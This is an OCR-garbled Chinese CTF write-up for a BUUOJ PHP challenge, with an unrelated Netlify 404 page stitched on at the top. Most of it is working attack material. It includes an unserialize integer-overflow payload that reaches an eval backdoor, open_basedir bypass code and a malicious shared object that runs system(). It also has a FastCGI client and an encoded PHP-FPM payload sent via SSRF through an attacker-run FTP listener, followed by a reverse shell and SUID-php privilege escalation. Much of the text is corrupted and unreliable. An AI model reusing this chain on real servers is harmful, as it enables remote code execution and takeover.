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<IDOCTYPE html>

fast <html> <head> <meta charset="utf-8"> <meta name="viewport' content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=no"> <title>Page Not Found</title> <link
& fastison REFFIKSEIEEGSWTIRA href='https://fonts.googleapis.com/css?family=Roboto:400,700&subset=latin,latin-ext' rel='stylesheet’
type="text/css'> <style> body { font-family: -apple-system, BlinkMacSystemFont, "Segoe Ul", Roboto, Helvetica,
“ Fastjson 1.2.47 Wi2d SHUTIMR Arial, sans-serif, "Apple Color Emoji’, "Segoe Ul Emoji", "Segoe Ul Symbol'; background: rgh(14, 30, 37); color: white;
overflow: hidden; margin: 0; padding: 0; } h1 { margin: 0; font-size: 22px; line-height: 24px; } .main { position:
& PHP-FPM Fastegi AR EHRR relative; display: flex; flex-direction: column; align-items: center; justify-content: center; height: 100vh; width:
100vw; } .card { position: relative; display: flex; flex-direction: column; width: 75%; max-width: 364px; padding: 24px;
O \rfia background: white; color: rgb(14, 30, 37); border-radius: 8px; box-shadow: 0 2px 4px 0 rgha(14, 30, 37,.16); } a {
margin: 0; text-decoration: none; font-weight: 600; line-height: 24px; color: #007067; } a svg { position: relative; top:
RESET ALL FILTERS 2px; } athover, a:focus { text-decoration: underline; text-decoration-color: #f4bb00; } a:hover svg path{ fill: #007067;

} p:last-of-type { margin-bottom: 0; } </style>

class="body"> <p>Looks like you've followed a broken link or entered a URL that doesn't exist on this site.</p> <p>
<a id="back-link" href="/"> <svg xmIns="http://www.w3.0rg/2000/svg" width="16" height="16" viewBox="0 0 16 16">
<path fill="#007067" d="M11.9998836,4.09370803 L8.55809517,7.43294953 C8.23531459,7.74611298
8.23531459,8.25388736 8.55809517,8.56693769 L12,11.9062921 L.9.84187871,14 L4.24208544,8.56693751
€3.91930485,8.25388719 3.91930485,7.74611281 4.24208544,7.43294936 .9.84199531,2
L11.9998836,4.09370803 Z"/> </svg> Back to our site </a> </p> <hr><p>If this is your site, and you weren't
expecting a 404 for this path, please visit Netlify's <a href="https://answers.netlify.com/t/support-guide-i-ve-
deployed-my-site-but-i-still-see-page-not-found/125?
utm_source=404page&utm_campaign=community_tracking">"page not found" support guide</a> for
troubleshooting tips. </p> </div> </div> </div> <script> (function() { if (document.referrer &&
document.location.host && document.referrer.match(new RegExp("*https?://" + document.location.host))) {
document.getElementByld("back-link").setAttribute("href", document.referrer); } })(); </script> </body>

</html>
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BH%T —webzip, MEFHFHM, 55l userphp. add_apiphp. AT I HERE SsF AN, RS
*:

user.php:

public $count;




add_api.php:

if(Suser=unserialize($_COOKIE[
$count[++$user->count]=1;
if($Scount[]=1){

$user->count+=1;

setcookie( ,serialize($user));
else{

eval($_GET][ D;
ki
Lelse{

$user=new User;
$user->count=1;

setcookie( ,serialize($user));

}

1. BHm

RAGRBAE, add_api.phpf & user.php, #H%CookieiH‘Jdata}if?ﬁﬂ/%%ﬂuserw%{’ %useril&‘]countﬁﬂf’ﬁﬁ

countfI TR, FEWTEBMENL. B, #TiAEAAN, count=1HEEMLELBARRRIN— TR, HHN
1o MXEFE-NELMCEHERT, MERRKcountiB )y BAE-1 EFE, WAELHTEME, Zcounty&AHE, BT
$count[[=1#:E, HTHACKLRXIRERET, BHARBIRERMITE, FTCALBREREE, PiTelseiBf). HAETLIRCE. &
F K #/E RGPHPR KME R R —FER), 3267 EN 2147483647 , 6447 _F N 9223372036854775807 , it LAIX B E AT 1% B count
7N 9223372036854775806 , HANFFI A A B FF B A4 BB

<?php
class User

{
1

public $count=9223372036854775806;

}

echo serialize(new User);

payload: 0O:4:"User":1:{s:5:"count";i:9223372036854775806;}
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HEelse Efleval®t, FAEEBEMAEA $ POSTemd]; , evalRIUT BEKIESR, XMEAA RBAIEshelliI &, FrLASiZ%fs
A eval($_POST[cmd]); V£ = CookieZurlmty . &H B SH 2 Eadd_api.phpiX NS BE ), B AMRERE S IXA .

M &EEHIE (http://c41de9bd-f095-4b07-941a-e1beb9739c80.noded.buuoj.... — O % o 5 e f i

BRE  x AT o MdEs DB ()

B ZuliAls v

URLHSE *  hitp://c41de9bd-f095-4b07-941a-e1beb9739c80.noded. buuo.cn:81/add_i
EEED - ‘cmd ‘
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#HAshell/a, EERERETRAagh, WREAEBBE, XAMREEANIV; HphpinfoE B XA ESE S, hackbarfzmt I LA
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PHP Version 7.4.16

System Linux b0cd3f95921¢ 4.19.164-04191 54rgeneric #202012300642 SMP Wed Dec 30 12:21:09 UTC 2020
x86 64

Build Date Apr 29 2021 15:12:27

Configure Command

*feonfigure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' --with-config-file-
ir=/usr/local/etc/php/conf.d’ --enable-option-checking=fatal’ * po
nable-mbstring' --enable-mysqlnd’ --with-password-argon2"
pdo-sqlite=/usr' -with-sqlite3=/usr' *-with-libedit' "--with-openss!' *
libdir=lib/x86_64-linux-gnu' "--enable-fpm’ *--with-fpm-user=www-data’ '--with-fom-group=www-data" '-
~disable-cgi' ‘build_alias=x86_64-linux-gnu’

with-pic' *--enable-
hared"
with-zlib’ *—with-pear’

with-

Server API FPM/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini Just/localfetc/php

Loaded Configuration File

Just/localfetc/php/php.ini

Scan this dir for additional .ini files

Just/localfetc/php/contd

Additional s parsed

X4l = = i ghtho dit HackBar

Just/local/etc/php/conf.d/docker-php-ext-sodium.ini

LOAD SPLIT EXECUTE TEST ~ sQLl S§STI ~ ENCODING ~ HASHING ~

URL

http://c41de9bd-f095-4b07-941a-e1beb9739c80.node4.buuoj.cn:81/add_api.php?backdoor=phpinfo();

@  Enable POST

ADD HEADER

Name Value
Cookie ¥ data=0%3A4%3A%22User%22%3A1%3A%7E  x

] —F& 3|t B B R FEFPM/FastCGIf, i Hdisable_functionZ2f1 K% T, openbase_dirth RFFA T html, X BRAIFE BT
openbase_diriz B 2 At B E 4

ir("..");chdir("..");chdir(

ir("..");chdir("..");chdir(
ini_set( 1');
var_dump(file_get contents(

B & ~mwe
Antsword 5 BHO &

ion-pdo_mysql

<« o= 117.21.200.166 [ L.php
¥  alba0ie2-3dbc-4d3f-8ddb-83a5
ry—" 1P:117.21.200.166 File:  /var/www/html/1.php < i3 B - u ARSI -

1 <?php
2 mkdir('bypass');
3 chdir('bypass’);

; The MIBS data available in the PHP 4 ini_set('open_basedir',"..");

php-net/manual/e 5 chdir('..");chdir("..");chdir("..");

6 chdir('..");chdir('..");chdir(".. ") chdir("..");
7 1ini_set('open_basedir’, H
8 var_dump(file_get_contents("/ /local/etc/php/php.inil'));

server uses ANSI co.

fault timezone used by th
i oo tim o




1E % BATTA] LAE B extension=easy_bypass.so , XZME T FHso3fF, FHAbwpii 2R Llpwnil, & HBTpwn %% ik 2
T . HiBnginx.confX-EE

@ FEN _
Antsword @& = Bt

O top Ve 4 = £9117.21.200.166 [ 1.php

¥ ) alba01e2-3dbc-4d3f-8ddb-83a5 ip_proxied any;

_comp_level 6; 1P:117.21.200.166 File: | /var/www/html/1.php < i
) buffers 16 8k;

_http_version 1.1;

_types text/plain text/css application/jso

> ’m AR

1.php

<?php

mkdir('bypass');
chdir('bypass');
ini_set('open_basedir',"..");
chdir('..");chdir('..");chdir("..");
chdir(’.."Y;chdir¢".." ) ;chdir(* ... ") ;chdir(™.. *);
ini_set('open_basedir',"'/");

var_dump(file_get contents("/etc/nginx/nginx.conf™));

#H
# Virtual Host Configs

I W I SN

include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;

ail {
# See sample authentication script at:
# http://uiki.nginx.org/ImapAuthenticateithApac

# auth_http localhost/auth.php;

# pop3_capabilities "TOP" "USER'

# imap_capabilities *

server {
listen localhost:110;
protocol  pop3;
proxy on;

server {
listen localhost:143;
protocol imap:

W W W OW N N W W W R E

X BEFEF T include /etc/nginx/sites-enabled/*; , HF BL#E & BEnginx i BN B

0 t g i
FE 3 1php X @ FEws -
e e - o~ -
v O top # as directory, then fall back to displayin[iauleSUelielie: C-a-= NN E
v ) aTba01e2-3dbc-4d3f-8ddb-83a5 . Bl S S S n 9 117.21.200.166 [ 1.php
1php
# pass PHP scripts to FastCGI server 1P:117.21.200.166 File:  fvar/www/html/1.php < R ~ B AlLRE
& e . 1 <?php
o " html; 7 mkd}r‘(:byrassj);
fastcgi_pass  127.0.0.1:9001; 3 chdir(’bypass');
fastcgi_index index.php; a4 1n1‘Tse§( cpflb?seolr 5oE ).;
[PE T T d ( M ( RYRONERWES. 5 chdir('..")jchdir("..");chdir("..");
include fastcgi_parans 6 chdir(..");chdir("..");chdir(".. " );chdir("..");
i 7 ini_set('open_basedir','/");
8 var_dump(file_get contents("/etc/nginx/sites-enabled/default™));

# deny access to .htaccess files, if Apaches d|
# concurs with nginx’s one

#

#location ~ /\.ht {

# deny all;

#}

# Virtual Host configuration for example.com

# You can move that to a different file under sites|
# to sites-enabled/ to enable it.
#
#server {
listen
listen

JERFFEFastCGIiRS, FEAT DI €~ RIFAITFPM RCE T
4. MEBETEso
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attribute_ ((__constructor__)) void preload (void){
system( );

XAMERRAH 1s 1 45 R 40 Blook U4
Ya¥: goc evilso.c -fPIC -shared -o evilso.so , f# FLinuxgm &3 L& E vk m B 3
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<?php

$file =$_ GET] ]

$data = $_GET][ ] :

echo($file $data );
var_dump(file_put_contents($file, $data));

6. thi& & ZEFastCGliE R

M EEEARKHEFRONRE, BEANEE. BERET

class FCGIClient

(
const VERSION 1
const BEGIN. REQUEST
const ABORT REQUEST
const END REQUEST
const PARAMS
const STDIN
const STDOUT
const STDERR
const DATA
const GET_VALUES 9
const GET_VALUES RESULT 10;
const UNKNOWN_TYPE 11;
const MAXTYPE self::UNKNOWN_TYPE;
const RESPONDER 1;
const AUTHORIZER 2;
const FILTER 3;
const REQUEST_COMPLETE 0;
const CANT_MPX_CONN 1;
const OVERLOADED 2;
const UNKNOWN_ROLE
const MAX_CONNS
const MAX_REQS




const HEADER_LEN

private $_sock = null;

private $_host = null;

private $_port = null;

private $ keepAlive = false;

public function _ construct($host, $port = 9001)

{
$this-> host = $host;

$this-> port = $port;

public function setKeepAlive($b)

{
$this->_ keepAlive = (boolean)$b;
if (!$this->_keepAlive $this->_sock) {
fclose($this->_sock);

public function getKeepAlive()
{

return $this->_keepAlive;

private function connect()

{




if (1$this->_sock) {

$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (1$this->_sock) {
throw new Exception(

private function buildPacket($type, $content, $requestid = 1)

{

$clen = strlen($content);

return chr(self::VERSION_1)
chr($type)
chr(($requestld >> 8) & OxFF)
chr($requestid & OxFF)
chr(($clen >> 8 ) & OxFF)
chr($clen & OxFF)
chr(0)

chr(0)

$content;

private function buildNvpair($name, $value)
{

$nlen = strlen($name);

$vlen = strlen($value);

if ($nlen < 128) {

$nvpair = chr($nlen);
} else {

$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & OxFF) . chr(($nlen >> 8) & OxFF) . chr($nlen & OxFF);

ki
if ($vlen < 128) {

$nvpair .= chr($vlen);
}else {

$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & OxFF) . chr(($vlen >> 8) & OxFF) . chr($vlen & OxFF);

return $nvpair . $name . $value;




private function readNvpair($data, $length = null)
{
$array = array();
if ($length null) {
$length = strlen($data);
1
$p=0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & OX7F
$nlen |= (ord($data{$p
$nlen |= (ord($data{$p
$nlen |= (ord($data{$p
1
$vlen = ord($data{$p++});
if ($vlen >=128) {
$vlen = ($nlen & OX7F
$vlen |= (ord($data{$p++}) 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{Sp++}));
1
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vien);
$p += ($nlen + $vlen);
}

return $array;

private function decodePacketHeader($data)

{
$ret = array();

$ret[ ] ord($data{0});

Sret[ ] ord($data{1});

Sret[ (ord($data{2}) << 8) + ord($data{3});
$ret[ ] = (ord($data{4}) << 8) + ord($data{5});
Sret[ ] = ord($data{6});

Sret[ ord($data{7});

return $ret;

private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp[ ="
if ($resp[ D{
$len = $resp] I;
while ($len $Sbuf=fread($this-> sock, $len




$len -= strlen($buf);
$resp[ ] .= $buf;

ki
if ($resp[ D{
$buf=fread($this->_sock, $resp[
ki
return $resp;
} else {
return false;

public function getValues(array $requestedinfo)
{
$this->connect();
$request
foreach ($requestedinfo as $info) {
$request .= $this->buildNvpair($info, ");
ki
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp[ 1, $resp[
} else {
throw new Exception(

public function request(array $params, $stdin)
{
$response =";

$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5

$paramsRequest = ";

foreach ($params as $key => $value) {

$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {

$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, ");
if ($stdin) {

$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, ");
echo( urlencode($request));




$filepath

Sreq basename($filepath);
Suri = $req

Sclient = new FCGIClient(

array(

S$filepath,
$req,

$uri,

$req,

$php_value,




strlen($code)

echo $client->request($params, $code)

IBAT BRSO, SRS H ) payload B RATT B ) R B2
payload:

?file=ftp://ip:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04 %00%01%02H%00%00%11%0BGA

TEWAY_INTERFACEFastCGI%2F 1.0%0E%04REQUEST_METHODPOST %0F %19SCRIPT_FILENAME%2F var%2Fwww%2F html%2Fadd_api.

pPhp%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST _URI%2Fadd_api.php%3Fc

lommand%3Dwhoami%0C%0CDOCUMENT _URI%2Fadd_api.php%09%80%00%00%BBPHP_VALUEunserialize_callback_func+%3D+system%
0Aextension_dir+%3D+%2F var%2Fwww%2F html%0Aextension+%3D+evilso.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aa
llow_url_include+%3D+0n%0Aopen_basedir+%3D+%2F %0Aauto_prepend_file+%3D+%0F %0ESERVER_SOF TWAREctfking%2F Tajang%0B

%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVE

R_NAMElocalhost%0F %08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTHA49%01%04%00%01%00%00%00%00%01%05%
00%01%001%00%00%3C%3F php+system%28%24_REQUEST %5B%27command %27 %5D%29%3B+phpinfo%28%29%3B+%3F %3E%01%05
%00%01%00%00%00%00

7. BT B EFTPIRSS

FEAMVPS LizfT AN RIS, EE RS HE BT KR B O, JF BRGS0 M i D 4 20T e . ot i i BRIA
KM

import socket

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.bind(( , 9999))

s.listen(1)

conn, addr = s.accept()

conn.send(




XN = ftp R 45 5t 2 1 FH 999945 1

8. HTWAT

i/ 529/
O00000000HOOGATEWAY_INTERFACEFastCGI/1.000REQUEST_METHODPOSTOOSCRIPT_FILENAME/var/www/html/add_api.phpO0SCRIPT_NAME/add_api.phpO0QUERY_STRINGcommand=whoamil
command=whoamiOODOCUMENT _URI/add_api.php OOPHP_VALUEunserialize_callback func = system extension_dir = /var/www/html extension = evilso.so disable classes = disable functions =
allow_url_include = On open_basedir = / auto_prepend file = OOSERVER _SOFTWAREctfking/Tajangd REMOTE_ADDR127.0.0.100REMOTE_PORT90010 SERVER_ADDR127.0.0.100SERVER_PORT800
SERVER_NAMElocalhestOOSERVER PROTOCOLHTTP/1.100CONTENT_LENGTH490000001000

int(681)

TR q e d sC HackBar

LOAD SPLIT EXECUTE TEST ~ saul - XS§s -~ LFl - SS8TI ~ ENCODING ~ HASHING -~

URL
http://a1ba01e2-3dbc-4d3f-8ddb-83a575fd8154.node4.buuoj.cn:81/file.php?

file=ftp:/ ):9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHOD
POST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcom
mand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BBPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evilso.

so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+0n%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0ESERVER_SOFTWARECctfking%2FTajang%0B%09REMOT
E_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMEIlocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49
%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST %5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

@  Enable POST ADD HEADER

Value

¥ 0%3A4%3A%22User%22%3A1%3A%7BsS%3A x

BERERVPS IPITHR T, RIMNEIHHRERE Tint681), XptZdumpH MEHRE KD, XAMEMELITET, BiLB%H
EsofffEht, 1 Is/ %t Bllook3CHg? iilooksCfE, THJE, I RMBESARE RN, EHRRBERE —MEFAN cat
fflag fiso, EREENagh, FARRARE

9. &M

BEAR T ASAT B so X, MBEAE —/>x #shell¥Isomi i

attribute__ ((__constructor__)) void preload (void){

system( );




R AI—FERHE, EENsoBHIE, Xt AH%payload, vpsiEfTERfipfEF, B —LumiE%r, BT —BRIA
fpayload

ftp'/_9999/ ¥ =PREEE - root@VM-16-13-centos:~ - Xshell 7 (Free for Home/School) = a X
000000000HOOGATEWAY_INTERFACEFastCGl/1.000REQUEST_METHODPOSTOOSCRIPT, X#(F) ®EE =&V TRM EAFE) @MW) =EH)
command=whoamil0DOCUMENT_URI/add_api.php OOPHP_VALUEunserialize callback f 7 = - = o 5-@-A- €053 s P W Q

allow_url_include = On open_basedir = / auto_prepend_file = OOSERVER_SOFTWAREctfki
SERVER_NAMElocalhostOOSERVER_PROTOCOLHTTP/1.100CONTENT_LENGTH4900000C
int(681)

SEEER a 1 =RESE
Xshell 7 (Build 8698)
o EeE Copyright (c) 2620 NetSarang Computer, Inc. ALl rights r

= 4] wm sws  wE wE P o HackBar © EEE

LOAD SPLIT EXECUTE TEST ~ sQLl SSTI ~

Connection established.
URL To escape to local shell, press 'Ctrl+Alt+]'.

http://d0e5f35d-b8a9-41a7-8593-fe700470da87.node4.buuoj.cn:81/file.php?

ARNING ! RIS
file=ftp:/ .. _._ 77 :9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%0)| Activate the
POST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_N/

mand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BBPHP_VALUEU

ntos ~]#
so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+0n%0A: ( https
E_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVE g iﬁéﬁ
%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_E3HE] 1 -
22
@  Enable POST = SSH o

www Wata@ca8abbdc9134:~/html$ [

BiIh i #shell, FEABAENRPIRE, BrABRNMLDATE R lag, XERMNTFEERM, S¥ WA ZsuidEA, A find /-
perm -u=s -type f 2>/dev/null Z& B suidU RIS, XN EE—SFFEHR.

www-data@ca8abbdc9134:~/html$ find / -perm -u=s -type T 2>=/dev/null
find / -perm -u=s -type T 2Z=/dev/null

/bin/mount

/bin/su

/bin/umount

fbin/chsh
/fusr/bin/gpasswd
Jusr/bin/newgrp

/bin/passwd
Jusr/local/bin/php
www-data@ca8abbdc9l3

phpai B R, AT LAE R php -a AR EER, HEEIRlagXt:, EERAEHBEEHag, ERES Topenbase_dirffl, &
A PA b —AphptfF, BE¥ET, B DER RN TR IR, @UERSH, HEA, RXEFHNZEER



www-data@ca8abbdc9134:~/html$ php -a
php -a
Interactive shell

mkdir()~[[D“H~H~[ [B*[ [A
mkdir('test');chdir('test');ini set('open basedir','.."');chdir("..");chdir("..");ch
dir("..");chdir("/™H");chdir({"..") ;chdir(" ini_set('open_basedir','/');var_dump
(file get contents('/fa™Hg'));var dump(file get contents('/flag'));

PHP Warning: Unexpected character in input: 'SCII=27) state=0 in php shell code o
n line 1

PHP Warning: Unexpected character in input: ' (ASCII=8) state=0 in php shell code
on line 1

PHP Warning: Unexpected character in input: ' (ASCII=8) state=0 in php shell code

on line 1

PHP Warning: Unexpected character in input: 'SCII=27) state=0 in php shell code o
n line 1

PHP Warning: Unexpected character in input: 'SCII=27) state=0 in php shell code o
n line 1

PHP Notice: Exceptions must implement Throwable in php shell code on line 2

PHP Warning: Exception() has been disabled for security reasons in php shell code
on line 2
PHP Fatal error: Uncaught exception 'Exception' in php shell code on line 2
mkdir( " test’);chdir{ " test');ini set('open basedir','.."');chdir("..");chdir("..");ch
dir('..");chdir('..");chdir('..");chdir('..");ini_set('open_basedir’',"/');var_dump(
file _contents('/flag'));
string(43) "flag{d3b8002a-fT8cb-44ba-9725-04al46Tbf712}

HT, AL L% T, XShelfiBR#AIT, FERERIDER.

RERERAR, HRBETRSKRE, WAELRERNEE, LFastCCl hilAPHP-FPM B 75 % H#HH, PWwntiEET,
RIERIE . RIEER ZHAR, BORA, RS T B#ET, XMAMEETITHAEAR, MAT—NCTFRAME, MiliBt
0D BRI IEMCTRRME, HELEREAR, FERAAK.
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